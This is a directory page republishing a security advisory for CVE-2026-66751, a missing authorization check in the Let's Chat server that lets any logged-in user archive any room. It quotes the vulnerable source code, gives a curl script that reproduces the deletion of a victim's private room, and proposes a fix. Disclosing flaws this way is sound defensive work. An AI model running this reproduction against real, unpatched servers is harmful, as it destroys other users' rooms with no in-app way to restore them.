Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-66751-Insufficient-Access-Controls-Allow-for-Unauthorized-Room-Deletion-Let-s-Chat- — Security Advisory: Insufficient Access Controls Allow for Unauthorized Room Deletion (Let's Chat) | Kitploit
Tools/GitHubGitHub/theopaid/cve-2026-66751-insufficient-access-controls-allow-for-unauthorized-room-deletion-let-s-chat-
Authentication & AuthorizationVulnerability AnalysisCode AnalysisWeb SecurityLearning & Education
GitHubtheopaid/cve-2026-66751-insufficient-access-controls-allow-for-unauthorized-room-deletion-let-s-chat-

CVE-2026-66751-Insufficient-Access-Controls-Allow-for-Unauthorized-Room-Deletion-Let-s-Chat-

Security Advisory: Insufficient Access Controls Allow for Unauthorized Room Deletion (Let's Chat)

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
31 month agoNot yet reviewed

Security Advisory: Insufficient Access Controls Allow for Unauthorized Room Deletion (Let's Chat)

Assigned CVE ID: CVE-2026-66751

Summary

DELETE /rooms/:room performs no authorization check beyond requiring a login. Any account can archive any room on the server, including private, password protected rooms that the same account is not allowed to read, join, or modify.

Archiving is how Let's Chat deletes rooms. The room disappears from the room list, direct lookups return 404, and posting messages or uploading files to it is refused. There is no code path in the application that reverses it.

Affected versions

Repo URL: https://github.com/sdelements/lets-chat

Vulnerable from 0.3.0 (commit 5b5f46f, 2 Jan 2015, "Rooms are archived, instead of deleted") through 0.4.8, the final release. No fixed version exists.

Private and password protected rooms arrived in 0.4.0, so the case where an attacker destroys a room whose contents they cannot see applies from 0.4.0 onward. The missing check itself dates from 0.3.0.

Confirmed on 0.4.8 at commit 617207f, and on docker.io/sdelements/lets-chat:latest (0.4.7).

Classification

CWE-862: Missing Authorization.

CVSS 4.0 base score 5.3 (Medium) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

Threat model

The attacker needs one ordinary user account and network access to the HTTP port. They do not need to own the room, belong to it, know its password, or hold any elevated role. Self registration is enabled by default (auth.local.enableRegistration in defaults.yml).

Target selection costs nothing. GET /rooms lists password protected rooms to every user by design, so the attacker can read the full list of room ids and archive each one in turn.

Technical detail

The route requires a login and resolves the room, and nothing more. app/controllers/rooms.js:99-109:

root@kitploit:~
app.route('/rooms/:room')
    .all(middlewares.requireLogin, middlewares.roomRoute)
    .get(function(req) {
        req.io.route('rooms:get');
    })
    .put(function(req) {
        req.io.route('rooms:update');
    })
    .delete(function(req) {
        req.io.route('rooms:archive');
    });

The handler passes only a room id downstream. It never looks at req.user. app/controllers/rooms.js:217-232:

root@kitploit:~
archive: function(req, res) {
    var roomId = req.param('room') || req.param('id');

    core.rooms.archive(roomId, function(err, room) {
        if (err) {
            console.log(err);
            return res.sendStatus(400);
        }

        if (!room) {
            return res.sendStatus(404);
        }

        res.sendStatus(204);
    });
},

The manager takes no user argument, so it cannot check ownership even in principle. app/core/rooms.js:123-137:

root@kitploit:~
RoomManager.prototype.archive = function(roomId, cb) {
    var Room = mongoose.model('Room');

    Room.findById(roomId, function(err, room) {
        if (err) {
            console.error(err);
            return cb(err);
        }

        if (!room) {
            return cb('Room does not exist.');
        }

        room.archived = true;

The neighbouring update path does check ownership, which is what makes this look like an oversight rather than a deliberate choice. app/core/rooms.js:89-91:

root@kitploit:~
if(room.private && !room.owner.equals(options.user.id)) {
    return cb('Only owner can change private room.');
}

The client agrees with the stricter reading. media/js/views/room.js:28-31 decides who sees the edit control, and the Archive Room button sits inside the edit modal that this control opens:

root@kitploit:~
var iAmOwner = this.model.get('owner') === this.client.user.id;
var iCanEdit = iAmOwner || !this.model.get('hasPassword');

this.model.set('iAmOwner', iAmOwner);
this.model.set('iCanEdit', iCanEdit);

For a password protected room a non owner never sees the button. The restriction exists only in the browser.

Reproduction

Requires rooms.private: true (or LCB_ROOMS_PRIVATE=true) so that private rooms can be created. The missing check itself applies to every room regardless of that setting.

root@kitploit:~
BASE=http://localhost:5000

# Two unrelated accounts.
for U in victim attacker; do
  curl -s -X POST $BASE/account/register \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"email\":\"[email protected]\",
         \"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
         \"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
  curl -s -c $U.txt -X POST $BASE/account/login \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done

# The victim creates a private, password protected room. Note the returned id.
curl -s -b victim.txt -X POST $BASE/rooms \
  -H 'Content-Type: application/json' \
  -d '{"name":"Board","slug":"board","private":true,"password":"S3cretRoomPw!"}'

RID=<id from the response above>

# The attacker cannot read it and cannot modify it.
curl -s -b attacker.txt "$BASE/messages?room=$RID"
curl -s -b attacker.txt -X PUT $BASE/rooms/$RID \
  -H 'Content-Type: application/json' -d '{"name":"x"}'

# The attacker archives it anyway.
curl -s -o /dev/null -w '%{http_code}\n' -b attacker.txt -X DELETE $BASE/rooms/$RID

# The owner can no longer reach their own room.
curl -s -o /dev/null -w '%{http_code}\n' -b victim.txt $BASE/rooms/$RID

Impact

After the request the room is gone from GET /rooms for every user, GET /rooms/:id returns 404, and messages:create and files:create reject it (app/core/messages.js:28-30, app/core/files.js:55-57). Nothing in app/ sets archived back to false, so recovery needs direct database access.

Suggested fix

Pass the caller into the manager and check ownership before archiving, matching what update already does. In app/controllers/rooms.js:217:

root@kitploit:~
archive: function(req, res) {
    var roomId = req.param('room') || req.param('id');

    core.rooms.archive(roomId, { user: req.user }, function(err, room) {

and in app/core/rooms.js:123, after the if (!room) check:

root@kitploit:~
if (!room.owner.equals(options.user.id)) {
    return cb('Only the owner can archive this room.');
}
Download Tool